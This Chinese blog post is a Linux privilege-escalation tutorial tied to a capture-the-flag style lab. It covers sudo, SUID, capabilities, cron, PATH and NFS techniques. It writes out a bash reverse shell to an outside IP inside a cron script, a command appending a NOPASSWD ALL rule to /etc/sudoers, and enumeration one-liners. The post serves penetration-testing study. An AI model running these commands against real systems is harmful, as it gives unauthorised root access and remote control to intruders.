Linux系统提权技术

一切提权的基础是已经拿到shell!!!

拿到shell之后可以使用 Python 启动一个功能更强大的 bash shell:

  • python3 -c 'import pty;pty.spawn("/bin/bash")'
  • python -c 'import pty;pty.spawn("/bin/bash")'

信息搜集

可以使用几个工具,将它们上传到目标后运行,可以搜集一些当前系统的信息

权限提升:内核漏洞

上传内核漏洞扫描工具 linux-exploit-suggester ,自动化扫描目标系统,会给出可能的几个方案,其中如果有 Highly probable 那最好是尝试一下

权限提升:Sudo

默认情况下,sudo 命令允许以 root 权限运行程序。在某些情况下,系统管理员可能需要为普通用户提供一些权限灵活性。比如某些工具或者程序需要root权限,那么管理员会分配给sudo的权限来运行该程序,那么这里就有可以利用的点。

使用 sudo -l 可以列出分配给当前用户的 sudo 权限,即 sudo 可以运行哪些指令/程序,然后去 GTFOBins 这个站查询,是否有可以拿到 root shell

案例:

image-20250320184920177

可以看到这一个就有3个指令可以用sudo执行,查到其中find可以拿到 root shell:

image-20250320185023519

image-20250320185059559

权限提升:SUID

Linux 通过权限控制用户与文件交互,文件有读写执行权限,按用户权限分配,而 SUID 和 SGID 能让文件以所有者或组所有者权限执行。

通过 find / -type f -perm -04000 -ls 2>/dev/null 将列出已设置 SUID 或 SGID 位的文件。

案例:

image-20250320185452270

GTFOBins 里面遍历搜索后发现 base64 就可以得到 root shell:

image-20250320185637271

权限提升:capabilities

系统管理员可用 “capabilities” 提升进程或二进制文件权限,它能精细管理权限,如普通用户不能用需发起套接字连接的工具,管理员可不提权,改二进制文件能力让其完成任务。

使用: getcap -r / 2>/dev/null 列出具有功能的二进制文件(将错误重定向到/dev/null),与 SUID 二进制文件不同,capabilities 不会显示在标准 SUID 枚举中。

案例:

image-20250320185952374

找到写有 setuid+ep 字段的 capabilities,然后去 GTFOBins 查询有没有可以利用的,按照命令,拿到 root shell:

image-20250320190126445

image-20250320190218416

权限提升:Cron Jobs

Cron jobs(计划任务)用于在特定时间运行脚本或二进制文件。默认情况下,它们以其所有者的权限运行,而不是当前用户的权限。虽然正确配置的 Cron jobs本身并不容易受到攻击,但在某些情况下,它们可以提供特权提升途径:

  • etc/crontab 中存在计划任务,但对应的任务脚本已被删除,那么可以按照计划任务中的文件路径、文件名,创建一个反弹shell的脚本,等待其执行即可,如果没有写明路径,那么计划任务会按照上面的 PATH 中的路径搜索执行。
  • 存在可写入的计划任务脚本,分析其作用,写入对应的能运行的代码,等待其执行。

案例:

查看计划任务

image-20250320190751485

可以看到有四个计划任务,其中当前用户就是karen,还是 .sh 文件,那么直接访问写入反弹shell的代码,反弹shell即可:

bash -i >& /dev/tcp/192.168.120.160/5566 0>&1
image-20250320191009250 image-20250320191024499

也可以写入overflow,让当前用户拥有全部的sudo权限:

echo "overflow ALL=(ALL)NOPASSWD: ALL" >> /etc/sudoers

PS:如果无法查看crontab,那么可以查看/var/log/cronlog文件,查看计划任务的日志

权限提升:PATH

如果路径中存在用户具有写入权限的文件夹,则可以劫持应用程序来运行脚本 。Linux 中的 PATH 是一个环境变量,它告诉操作系统在哪里搜索可执行文件。对于任何未内置在 shell 中或未使用绝对路径定义的命令, Linux 将开始在 PATH 下定义的文件夹中搜索。(PATH 是环境变量,path 是文件的位置)

那么如果有一个可写文件夹,还有一个可访问的有SUID位的指令,它会查找执行一个程序,这时将反弹shell脚本做成可执行文件,或者将 /bin/bash 复制进该文件夹并重命名为它在查找执行的指令名,那么执行该指令时将会在 PATH 中搜索执行文件。

image-20250320195032386

查看 $PATH:

image-20250320191226180

要使用 PATH 进行提权,之前需要了解以下几项:

  • $PATH 下有哪些文件夹
  • 当前的用户是否对这些文件夹有写权限?
  • 能修改 $PATH 吗?
  • 是否有可启动的脚本/应用程序会受到此漏洞的影响?

查看哪些文件夹有写权限,可以使用 find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u 命令对可写文件夹进行搜索,使用简单的剪切和排序序列清理此命令的输出。

修改 $PATH 可以用类似:export PATH=/tmp:$PATH 达到目的

案例:

image-20250320192917182

可以看到有不少可以写入的目录,其中home/murdoch目录很可疑

image-20250320193230666

在其中,有一个测试可执行文件和一个 Python 脚本,它们都试图调用一个名为 thm 的可执行文件。

image-20250320193334007

创建一个读取flag6.txt的 thm 文件。这样就可以确保脚本调用这个新的可执行文件

image-20250320194229349

权限提升:NFS

特权提升途径不仅限于内部访问。共享文件夹和远程管理接口(如 SSH 和 Telnet)也可以帮助获得目标系统的 root 访问权限。某些情况下还需要同时使用这两种途径,例如在目标系统上找到 root SSH 私钥并通过 SSH 以 root 权限进行连接,而不是尝试提高当前用户的特权级别。

NFS(网络文件共享)配置保存在 /etc/exports 文件中。此文件在 NFS 服务器安装期间创建,通常可供用户读取。

image-20250320200346983

案例:

查看目标有多少可挂载共享,即,目标机器上存在 no_root_squash 选项的目录

image-20250320200451586

创建一个本地文件夹,并选择一个目录进行挂载

image-20250320203104734

创建 .c 文件,编译后设置执行权限和 SUID,然后去目标机器的对应目录执行

image-20250320203020332 image-20250320203240219 image-20250320203254558
posted @ 2025-12-04 16:27  shinianyunyan  阅读(1)  评论(0)    收藏  举报